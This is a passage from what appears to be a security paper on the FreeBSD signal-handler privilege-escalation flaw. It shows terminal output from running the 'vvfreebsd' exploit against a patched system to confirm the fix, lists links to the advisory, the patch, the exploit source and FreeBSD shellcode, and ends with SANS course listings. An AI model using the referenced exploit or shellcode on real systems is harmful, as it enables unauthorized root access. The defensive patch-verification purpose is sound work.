$ ./vvfreebsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe72
child=212
login: done
^C uid = 1138, euid = 1138
```

$

The child login process will ignore the signal SIGINT and continue to wait for input. The parent will busy-loop until it receives the signal or is killed. If you send it the interrupt it reports its uid, which of course is not root. The patch was successful!

Additional Information:

http://www.freebsd.org/security/index.html -- FreeBSD security Information and advisories.

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:42.signal.asc -- FreeBSD security advisory for shared signal handler vulnerability

http://www.guninski.com/vvfreebsd.html -- Author Georgi Guninski's Security Research Page

http://www.guninski.com/vvfreebsd.html or http://www.securityfocus.com/data/vulnerabilities/exploits/vvfreebsd.c -- Exploit details and source code

ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch -- FreeBSD Exec Signal Patch

http://www.freebsd.org/handbook/kernelconfig.html -- FreeBSD Handbook kernel configuration documentation

http://rootcore.can-host.com/~cyber-mafia/shellcode/freebsd/execve-binsh.c -- A short, 25 byte, shellcode for FreeBSD by Cyber-mafia

http://www.chkrootkit.org/ -- interesting tool which attempts to check for Rootkits.

http://www.tripwire.org/ and http://www.tripwire.com/ TripWire open source and commercial sites.

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pgpkeys.html PGP Public Keys of the FreeBSD officers and team members.

Last Updated: June 18th, 2018

Upcoming SANS Penetration Testing

SANS Minneapolis 2018	Minneapolis, MN	Jun 25, 2018 - Jun 30, 2018	Live Event
SANS Cyber Defence Canberra 2018	Canberra, Australia	Jun 25, 2018 - Jul 07, 2018	Live Event
Minneapolis 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Minneapolis, MN	Jun 25, 2018 - Jun 30, 2018	vLive
SANS Vancouver 2018	Vancouver, BC	Jun 25, 2018 - Jun 30, 2018	Live Event
SANS London July 2018	London, United Kingdom	Jul 02, 2018 - Jul 07, 2018	Live Event
SANS Charlotte 2018	Charlotte, NC	Jul 09, 2018 - Jul 14, 2018	Live Event
SANS Cyber Defence Singapore 2018	Singapore, Singapore	Jul 09, 2018 - Jul 14, 2018	Live Event
Mentor Session - SEC504	Oklahoma City, OK	Jul 10, 2018 - Sep 11, 2018	Mentor
SANSFIRE 2018	Washington, DC	Jul 14, 2018 - Jul 21, 2018	Live Event
SANSFIRE 2018 - SEC542: Web App Penetration Testing and Ethical Hacking	Washington, DC	Jul 16, 2018 - Jul 21, 2018	vLive
SANSFIRE 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Washington, DC	Jul 16, 2018 - Jul 21, 2018	vLive
SANSFIRE 2018 - SEC560: Network Penetration Testing and Ethical Hacking	Washington, DC	Jul 16, 2018 - Jul 21, 2018	vLive
Community SANS Honolulu SEC560	Honolulu, HI	Jul 23, 2018 - Jul 28, 2018	Community SANS
SANS Pen Test Berlin 2018	Berlin, Germany	Jul 23, 2018 - Jul 28, 2018	Live Event
SANS vLive - SEC560: Network Penetration Testing and Ethical Hacking	SEC560 - 201807,	Jul 24, 2018 - Aug 30, 2018	vLive
SANS Pittsburgh 2018	Pittsburgh, PA	Jul 30, 2018 - Aug 04, 2018	Live Event
San Antonio 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	San Antonio, TX	Aug 06, 2018 - Aug 11, 2018	vLive
SANS San Antonio 2018	San Antonio, TX	Aug 06, 2018 - Aug 11, 2018	Live Event
SANS Boston Summer 2018	Boston, MA	Aug 06, 2018 - Aug 11, 2018	Live Event
Mentor Session - AW SEC560	Austin, TX	Aug 08, 2018 - Oct 10, 2018	Mentor
Community SANS Ventura SEC560	Ventura, CA	Aug 13, 2018 - Aug 18, 2018	Community SANS
SANS Northern Virginia- Alexandria 2018	Alexandria, VA	Aug 13, 2018 - Aug 18, 2018	Live Event
Northern Virginia- Alexandria 2018 - SEC542: Web App Penetration Testing and Ethical Hacking	Alexandria, VA	Aug 13, 2018 - Aug 18, 2018	vLive
Northern Virginia- Alexandria 2018 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Alexandria, VA	Aug 13, 2018 - Aug 18, 2018	vLive
SANS New York City Summer 2018	New York City, NY	Aug 13, 2018 - Aug 18, 2018	Live Event
SANS Krakow 2018	Krakow, Poland	Aug 20, 2018 - Aug 25, 2018	Live Event
SANS Virginia Beach 2018	Virginia Beach, VA	Aug 20, 2018 - Aug 31, 2018	Live Event
SANS Prague 2018	Prague, Czech Republic	Aug 20, 2018 - Aug 25, 2018	Live Event
SANS Chicago 2018	Chicago, IL	Aug 20, 2018 - Aug 25, 2018	Live Event
Community SANS Reno SEC504	Reno, NV	Aug 20, 2018 - Aug 25, 2018	Community SANS
Mentor Session - SEC504	Cincinnati, OH	Aug 21, 2018 - Oct 02, 2018	Mentor